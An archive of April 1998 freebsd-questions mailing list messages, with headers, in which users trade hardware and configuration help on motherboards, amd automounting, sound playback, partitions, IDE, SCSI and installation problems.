------=_NextPart_000_0007_01BD6329.05F9AE20-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 12:25:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA05565 for freebsd-questions-outgoing; Wed, 8 Apr 1998 12:25:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gill.netrail.net (gill.netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA05532 for ; Wed, 8 Apr 1998 12:25:00 -0700 (PDT) (envelope-from jonz@netrail.net) Received: from localhost (jonz@localhost) by gill.netrail.net (8.8.6/8.8.6) with SMTP id PAA03431; Wed, 8 Apr 1998 15:24:44 -0400 (EDT) Date: Wed, 8 Apr 1998 15:24:43 -0400 (EDT) From: "Jonathan A. Zdziarski" To: Capriotti cc: "Jason C. Wells" , freebsd-questions@FreeBSD.ORG Subject: Re: Pentium MB [off-topic] In-Reply-To: <3.0.32.19980408235917.00950560@pop.mpc.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG For $60 you can pick up a brand spanking new motherboard complete with warranty; it probably would save you money if you were charging yourself an hourly rate to fix it. Thank you, Jonathan A. Zdziarski Systems Administrator Netrail Incorporated jonz@netrail.net (888) NET-RAIL On Thu, 9 Apr 1998, Capriotti wrote: :At 06:48 AM 4/8/98 -0700, Jason C. Wells wrote: :>On Wed, 8 Apr 1998, Capriotti wrote: :> :>> In my hands I have a Pentium MB, whose PCI slots are not working at all. :>> :>> The original owner probably pulled the video card while the system was :>> energized. :> :>He did that? : :We think he did. : :> :>Try the card in a computer whose PCI slots are known to work if you have :>access to one. :> :>> The disk controller - embeded IDE, which I believe to be PCI - is working :>> fine, the system runs smooth with ISA cards, but when one plugs a PCI Video :>> card, no video signal is generated. :>> :>> FreeBSD runs fine also, and so does WInblows. :> :>How do you know these two OSes run fine if you can't see any video? Do :>you have a different card that you have tested. If a different card :>works, then nothing is wrong with your main board. :> :>Perhaps I am missing the point. :> : :Actually, yes. Sorry I didn't provide further details. Let's go then: : :I've got this MB from another person and he told me: "It's yours, Enjoy !" :and told me about the above problem. : :I've removed my working PCI video card from my computer, pluged it on the :deffective MB and started it. Nothing. : :Then I removed the PCI card, inserted a ISA Video card, and Voila ! Images :on the monitor ! : :I believe that other PCI cards won't run as well, though I didn't connect :any network card, for instance, to see if FBSD detects it. : :To Unsubscribe: send mail to majordomo@FreeBSD.org :with "unsubscribe freebsd-questions" in the body of the message : To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 13:04:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA09655 for freebsd-questions-outgoing; Wed, 8 Apr 1998 13:04:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA09592 for ; Wed, 8 Apr 1998 13:03:52 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id PAA12006; Wed, 8 Apr 1998 15:03:08 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804082003.PAA12006@horton.iaces.com> Subject: Re: useful docs on amd? To: laufen@wi.net (Derek Laufenberg) Date: Wed, 8 Apr 1998 15:03:07 -0500 (CDT) Cc: FreeBSD-questions@FreeBSD.ORG In-Reply-To: from Derek Laufenberg at "Apr 8, 98 01:55:44 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Derek Laufenberg said: > > I rtfm'd the amd and amq man pages and need a few more clues. The sample > file /etc/amd.map also wasn't a useful "Rossetta Stone". Can anyone > point me to another source? Or some sample map files? > > What I want to do is automount the various cdroms on my net, but I'd kinda > like to know what else may be done with it. > > BTW: I also grep'd thru the FAQ and Handbook on disk 3 of 2.2.5R and > found no info there. I ended up buying the 4.4BSD SMM book from Computer Literacy. The amd section is, apparently, encumbered, so it can't be on the net. The book is out of print, so it might be hard to find. Published by O'Reilly. Here's what I did for automounting: /etc/rc.conf: amd_enable="YES" # Run amd service with $amd_flags (or NO). amd_flags="-a /net -c 1800 -l syslog /host /etc/amd.map /home /etc/amd.homes" /defaults type:=host;fs:=${autodir}/${rhost};rhost:=${key} * opts:=rw,grpid,resvport,nfsv2 localhost type:=auto;fs:=${map};pref:=${key}/ localhost/cdrom type:=program;fs:=/mnt/cdrom;\ mount:="/sbin/mount mount /mnt/cdrom";\ unmount:="/sbin/umount umount /mnt/cdrom" localhost/floppy type:=program;fs:=/mnt/floppy;\ mount:="/sbin/mount mount /mnt/floppy";\ unmount:="/sbin/umount umount /mnt/floppy" /etc/fstab: /dev/wcd0c /mnt/cdrom cd9660 ro,noauto 0 0 /dev/fd0c /mnt/floppy msdos rw,noauto 0 0 ls -l /floppy /cdrom lrwxrwxrwx 1 root wheel 21 Apr 6 21:48 /cdrom -> /host/localhost/cdrom lrwxrwxrwx 1 root wheel 22 Apr 6 21:48 /floppy -> /host/localhost/floppy /etc/amd.homes is left as an exercise to the reader... :-) 1800 is probably too long (30 minutes), but I kinda want home dirs mounted longer. Here's a quetion for the community: Is there a way to override, so the cdrom can be umounted and ejected? Paul. -- "It depends on your definition of asleep. They were not stretched out. They had their eyes closed. They were seated at their desks with their heads in a nodding position." -- John Hogan, Commonwealth Edison Supervisor of News Information, responding to a charge by a Nuclear Regulatory Commission inspector that two Dresden Nuclear Plant operators were sleeping on the job. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 13:45:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA14664 for freebsd-questions-outgoing; Wed, 8 Apr 1998 13:45:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from info.tsu.ru (info.tsu.ru [212.192.100.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA14612 for ; Wed, 8 Apr 1998 13:45:32 -0700 (PDT) (envelope-from vas@vas.tsu.tomsk.su) Received: (from uucp@localhost) by info.tsu.ru (8.8.7/8.8.7) with UUCP id EAA25400; Thu, 9 Apr 1998 04:45:12 +0800 (TSD) (envelope-from vas@vas.tsu.tomsk.su) Received: (from vas@localhost) by vas.tsu.tomsk.su (8.8.8/8.8.8) id VAA00632; Wed, 8 Apr 1998 21:28:22 +0800 (KRSS) From: Victor Sudakov Message-Id: <199804081328.VAA00632@vas.tsu.tomsk.su> Subject: Re: Problem playing MPEG files In-Reply-To: <352A5410.22707C3D@vt.edu> from "Brandon Stewart" at "Apr 7, 98 04:28:00 pm" To: rostewa2@vt.edu (Brandon Stewart) Date: Wed, 8 Apr 1998 21:28:22 +0800 (KRSS) Cc: questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Brandon Stewart wrote: > Victor Sudakov wrote: > > > > Brandon Stewart wrote: > > > Victor Sudakov wrote: > > > > vas: {10} mpg123 -t mc.mp3 > > > > High Performance MPEG 1.0/2.0 Audio Player for Layer 1, 2 and 3. > > > > Version 0.59k (1997/07/13). Written and copyrights by Michael Hipp. > > > > Uses code from various people. See 'README' for more! > > > > THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK! > > > > > > > > Playing MPEG stream from mc.mp3 ... > > > > MPEG 1.0 layer III, 128 kbit/s, 44100 Hz joint-stereo > > > > > > My guess is that this is a software error. Try using a different player, > > > such as splay, or amp. Many of the players do not support all layers of > > > encoding, and last I checked, mpg123 was one of these. > > > > I have now tried both splay and amp. The result is weird: I can hear some > > very frightening noise from the speakers, which slightly resembles the songs > > I am trying to play. In fact, I can even guess what song is being played. > > Are you using a sound blaster compatible card? I have had the exact same Yes, I am. > results for sound blaster cards on two different computers. I do not > know the answers, so I'll through it the rest of the list. > > Does anyone here know the reason why sound quality on sb compatible > cards is so horrid? And besides, does anyone know why the sound quality on the same card and on the same mp3 file is quite good when the card is used under Windows or OS/2 on the same computer? > > The only suggestion I can offer is to try luigi's sound driver, which Where do I obtain it? I am running FreeBSD 2.2.2 > should be discussed in LINT. Its a device or controller pcm, I believe. > > Another thing I have to say is that even though sound is horrid when > playing wave or mp3 files, sound should not be so bad if your sound card > is connected to the cd-rom and you use a utility (such as xcd) to play > cds. Sure, not even CDs, but timidity, xanim, 'cat file.au > /dev/audio' work very well and the quality is good. Only mp3 files cannot be played. -- Victor Sudakov mailto:vas@obluo.tomsk.su http://www.obluo.tomsk.su/~vas PGP public key: finger vas@obluo.tomsk.su To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 13:48:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA15210 for freebsd-questions-outgoing; Wed, 8 Apr 1998 13:48:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from value.net (root@value.net [204.188.125.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA15180 for ; Wed, 8 Apr 1998 13:48:06 -0700 (PDT) (envelope-from colin@SilkRoadInteractive.com) Received: from value.net (colin@value.net [204.188.125.4]) by value.net (8.8.7/8.7.4) with SMTP id NAA29504 for ; Wed, 8 Apr 1998 13:48:05 -0700 (PDT) Date: Wed, 8 Apr 1998 13:48:05 -0700 (PDT) From: Colin Belton X-Sender: colin@value.net To: freebsd-questions@FreeBSD.ORG Subject: Support for SunSparc Ipx Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello I'm looking for a unix-like OS to install on my SunSparc IPX will FreeBSD support this hardware? Thanks in advance Colin Belton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:01:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA17006 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:01:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA16977; Wed, 8 Apr 1998 14:00:51 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id OAA09820; Wed, 8 Apr 1998 14:00:46 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352BE57E.CA28B255@san.rr.com> Date: Wed, 08 Apr 1998 14:00:46 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Konrad Heuer CC: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Mysterious Extended DOS Partition References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Konrad Heuer wrote: > > I'm not sure whether this is the mailing list of choice to tell about the > problem I observed - but might be! Never cross-post to -questions and -hackers. Please follow up to -questions. > On a PC with 4 primary partitions (NTFS-OS/2 Boot Manager-FAT-FreeBSD) I > wanted to remove NT and to change its partition to an extended DOS > one (shame on me not to create a FreeBSD partition). I used FreeBSD's > fdisk to change the partition id to 5. The moral of your story is that if you want to create DOS partitions, use DOS' fdisk. Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:03:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA17960 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:03:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA17906; Wed, 8 Apr 1998 14:02:28 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id OAA09827; Wed, 8 Apr 1998 14:02:27 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352BE5E3.328C4526@san.rr.com> Date: Wed, 08 Apr 1998 14:02:27 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: "Jonathan M. Bresler" CC: faq@FreeBSD.ORG Subject: Re: test faq@freebsd.org References: <199804081628.JAA04262@hub.freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jonathan M. Bresler wrote: > > reported not working I don't know who else is on this alias/list, or actually how I got on it unless it's tied into -doc somehow. However I got about 18 copies of that faq the guy tried to submit yesterday, several of them with recursive headers saying how it wasn't going through. Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:12:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA18908 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:12:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA18898 for ; Wed, 8 Apr 1998 14:12:36 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id OAA09887; Wed, 8 Apr 1998 14:12:28 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352BE83C.EE3B3ED3@san.rr.com> Date: Wed, 08 Apr 1998 14:12:28 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Michael Baker CC: freebsd-questions@FreeBSD.ORG Subject: Re: Stupid Question References: <352BAAA3.67AC27C8@inter-sight.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Michael Baker wrote: > > Sorry to ask this, but I have spent hours on your site looking for the > answer already so here goes. S'ok, that's why we're here. :) > I have never used unix. I have a machine that I want to load FreeBSD on > to learn. What do I need to download? The entire FREEBSD directory? > Eventually, we want to use this box as a web server. Go to ftp://ftp.freebsd.org/pub/FreeBSD/2.2.6-RELEASE and read all of the *.TXT documents. When you've read those if you still have questions please feel free to write us back. Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:13:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA19238 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:13:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from valis.goatsucker.org (dialup-port1.dcs.qmw.ac.uk [138.37.88.231]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA19160 for ; Wed, 8 Apr 1998 14:13:27 -0700 (PDT) (envelope-from rsm@acm.org) Received: (from scott@localhost) by valis.goatsucker.org (8.8.7/8.8.7) id UAA00541; Tue, 7 Apr 1998 20:28:06 +0100 (BST) (envelope-from scott) Date: Tue, 7 Apr 1998 20:28:06 +0100 (BST) Message-Id: <199804071928.UAA00541@valis.goatsucker.org> From: Scott Mitchell MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "t26v1441" CC: questions@FreeBSD.ORG Subject: Re: xev: command not found In-Reply-To: <20764493@toto.iv> X-Mailer: VM 6.31 under 20.2 XEmacs Lucid Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You probably didn't install the XFree86 contrib stuff. It can probably be found in the same directory on the CD/FTP site that you installed the rest of XFree86 from. All you need to do is unpack it, make install, then all will be happy again. Scott t26v1441 said: >I started using FreeBSD 2 weeks ago.I am using 109 Japanesse keyboard and I >want customize my keyboard . I am using 2.2.5 R.when I try to look at >keycode by typing xev at command prompt (referring to manual book: FreeBSD >Power Guide by SHUWA SYSTEM CO.,LTD.JAPAN),but the command was not found.Is >there another command to use with 2.2.5R finding keycodes?Help me please. -- =========================================================================== Scott Mitchell | PGP Key ID |"If I can't have my coffee, I'm just | 0x54B171B9 | like a dried up piece of roast goat" QMW College, London, UK | 0xAA775B8B | -- J. S. Bach. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:14:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA19490 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:14:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from valis.goatsucker.org (dialup-port1.dcs.qmw.ac.uk [138.37.88.231]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA19269 for ; Wed, 8 Apr 1998 14:13:44 -0700 (PDT) (envelope-from rsm@acm.org) Received: (from scott@localhost) by valis.goatsucker.org (8.8.7/8.8.7) id UAA00540; Tue, 7 Apr 1998 20:25:13 +0100 (BST) (envelope-from scott) Date: Tue, 7 Apr 1998 20:25:13 +0100 (BST) Message-Id: <199804071925.UAA00540@valis.goatsucker.org> From: Scott Mitchell MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Andrew CC: questions@FreeBSD.ORG Subject: Re: IDE question In-Reply-To: <54498087@toto.iv> X-Mailer: VM 6.31 under 20.2 XEmacs Lucid Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yes, IDE is always a maximum of two devices per controller/channel/whatever they call it. Most motherboards come with two onboard controllers these days. Regarding sound cards, you can indeed attach a disk to them -- I have one attached to my SB16. Getting back to the original poster's question -- are you sure that the floppy drives are on an IDE controller? That would be very unusual; generally they have their own controller. Check the cable, it should look different to the IDE one. You might have another IDE controller that you don't know about :) Maybe check your BIOS setup screens and see how many hard drives it will let you configure. HTH, Scott Andrew said: >I think that you'll find that you are out of luck. I have never heard of >more than two ide devices on one ide controller, cd-rom or hard disk >drive. You may be able to put in another ide controller card but I've >never tried it and don't know anyone who has. I've often wondered if you >can put a hard drive on the ide port on some sound cards as well but never >got around to trying it. > >Andrew Perry > >> >> I have two IDE controllers on my motherboard. One is cabled to the >> two floppy drives, and the other to a CD-ROM drive and to the hard >> drive. -- =========================================================================== Scott Mitchell | PGP Key ID |"If I can't have my coffee, I'm just | 0x54B171B9 | like a dried up piece of roast goat" QMW College, London, UK | 0xAA775B8B | -- J. S. Bach. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:14:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA19580 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:14:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA19556 for ; Wed, 8 Apr 1998 14:14:19 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id OAA09897; Wed, 8 Apr 1998 14:14:08 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352BE8A0.D00F7F4@san.rr.com> Date: Wed, 08 Apr 1998 14:14:08 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: insane@oneinsane.net CC: questions@FreeBSD.ORG Subject: Re: FreeBSD USERS Group References: <19980407133432.48564@n2.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ron Rosson wrote: > > Wondering if anyone knows of a FreeBSD users group > in the San Diego, CA Area. It is a shame that everything > always happens up the coast. ;-) I'm pretty sure that there is not such a group, but I'd be interested in being part of one. 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Sincerely, Paul PS:Great JOINT VENTURE opportunities are available selling this software To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:28:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA23718 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:28:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mydesktop.com (root@channel.mydesktop.com [207.226.190.211] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA23692 for ; Wed, 8 Apr 1998 14:28:00 -0700 (PDT) (envelope-from mrapagna@mydesktop.com) Received: from nickrapa (cpu10797.on.bellglobal.com [206.172.178.12]) by mydesktop.com (8.8.8/8.8.8) with SMTP id RAA05057 for ; Wed, 8 Apr 1998 17:29:29 -0400 (EDT) Message-Id: <3.0.32.19980408172632.0068a940@mydesktop.com> X-Sender: mrapagna@mydesktop.com (Unverified) X-Mailer: Windows Eudora Pro Version 3.0 Demo (32) Date: Wed, 08 Apr 1998 17:26:40 -0400 To: questions@FreeBSD.ORG From: Mike Rapagna Subject: Help Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I just received my 4cd set of FreeBSD, and am having trouble installing it. First of all, it doesn't detect my CD-ROM drive, so I can't use it. I tried setting it up in the kernel config, but it still doesn't work. So then I tried installing from a DOS partition. Everything is fine, under when it is installing I get the error message "Error mounting DOS partition /dev/wd0s2: Invalid argument (22)." What does this mean and how can I fix it? Thanx for any help. Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:34:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA24781 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:34:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from xray.csci.unt.edu (xray.csci.unt.edu [129.120.3.44]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA24769 for ; Wed, 8 Apr 1998 14:34:15 -0700 (PDT) (envelope-from jeffries@silo.csci.unt.edu) Received: from localhost (jeffries@localhost) by xray.csci.unt.edu (8.8.8/8.8.7) with SMTP id QAA13742; Wed, 8 Apr 1998 16:33:53 -0500 (CDT) (envelope-from jeffries@silo.csci.unt.edu) X-Authentication-Warning: xray.csci.unt.edu: jeffries owned process doing -bs Date: Wed, 8 Apr 1998 16:33:52 -0500 (CDT) From: Jeffrey Lynn Jeffries X-Sender: jeffries@xray.csci.unt.edu Reply-To: Jeffrey Lynn Jeffries To: Dennis Reiter cc: freebsd-questions@FreeBSD.ORG Subject: Re: Proxy software, etc. In-Reply-To: <019a01bd6307$b9a28a40$0200a8c0@Dell> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Dennis Reiter wrote: > I wouldn't really consider $250 for the 5-user Pro version that outrageous > in the Windows world, this is what we use at work. Take a look at MS > Proxy!! Both are outside of my price range - school is costing lots of $$$ and I can't find it in my heart to sell a PC :) > Anyways, use natd, it'll blow Wingate away. If I'm not mistaken, natd only works from the inside network to the internet; I also want the ability to get into the network from the internet with services like ftp, httpd, telnet, etc. That's where the proxy services come in, right? ========================================================================== Jeffrey Lynn Jeffries, jeffries@unt.edu http://www.cs.unt.edu/~jeffries Proud user of FreeBSD: Ask me how to unleash the daemon inside your PC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:34:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA25024 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:34:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp.algonet.se (angel.algonet.se [194.213.74.112]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA24918 for ; Wed, 8 Apr 1998 14:34:40 -0700 (PDT) (envelope-from spico@algonet.se) Received: (qmail 10934 invoked from network); 8 Apr 1998 21:34:34 -0000 Received: from du32-147.ppp.algonet.se (HELO algonet.se) (195.100.147.32) by angel.algonet.se with SMTP; 8 Apr 1998 21:34:34 -0000 Message-ID: <352BED59.64A071DB@algonet.se> Date: Wed, 08 Apr 1998 23:34:17 +0200 From: Peter Imre X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: SCSI controller Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Sir! Please, I have the following question: I have a Future Domain TMC 3260 PCI controller. Can I use with FreeBSD or I should chose another SCSI card ? The TMC 3260 tested on UnixWare..... Sincerelly Peter Imre... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:38:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA25818 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:38:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from general1.consumersedge.com (mail.personalogic.com [208.213.67.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA25781 for ; Wed, 8 Apr 1998 14:38:05 -0700 (PDT) (envelope-from dshanes@personalogic.com) Received: from SHANES by general1.consumersedge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1458.49) id 2PDPYD2G; Wed, 8 Apr 1998 14:38:40 -0700 Message-ID: <03b401bd6335$f6651c80$1d43a8c0@shanes.personalogic.com> From: "David Shanes" To: "Studded" , Cc: Subject: Re: FreeBSD USERS Group Date: Wed, 8 Apr 1998 14:33:25 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am game, just have to fit it into my hectic schedule! David _____________________________________________________ David Shanes 7535 Metropolitan Drive dshanes@personalogic.com San Diego, CA 92108 Database Developer (619) 220-5800 x228 PersonaLogic, Inc. (619) 220-5899 (fax) http://www.PersonaLogic.com -----Original Message----- From: Studded To: insane@oneinsane.net Cc: questions@FreeBSD.ORG Date: Wednesday, April 08, 1998 2:18 PM Subject: Re: FreeBSD USERS Group >Ron Rosson wrote: >> >> Wondering if anyone knows of a FreeBSD 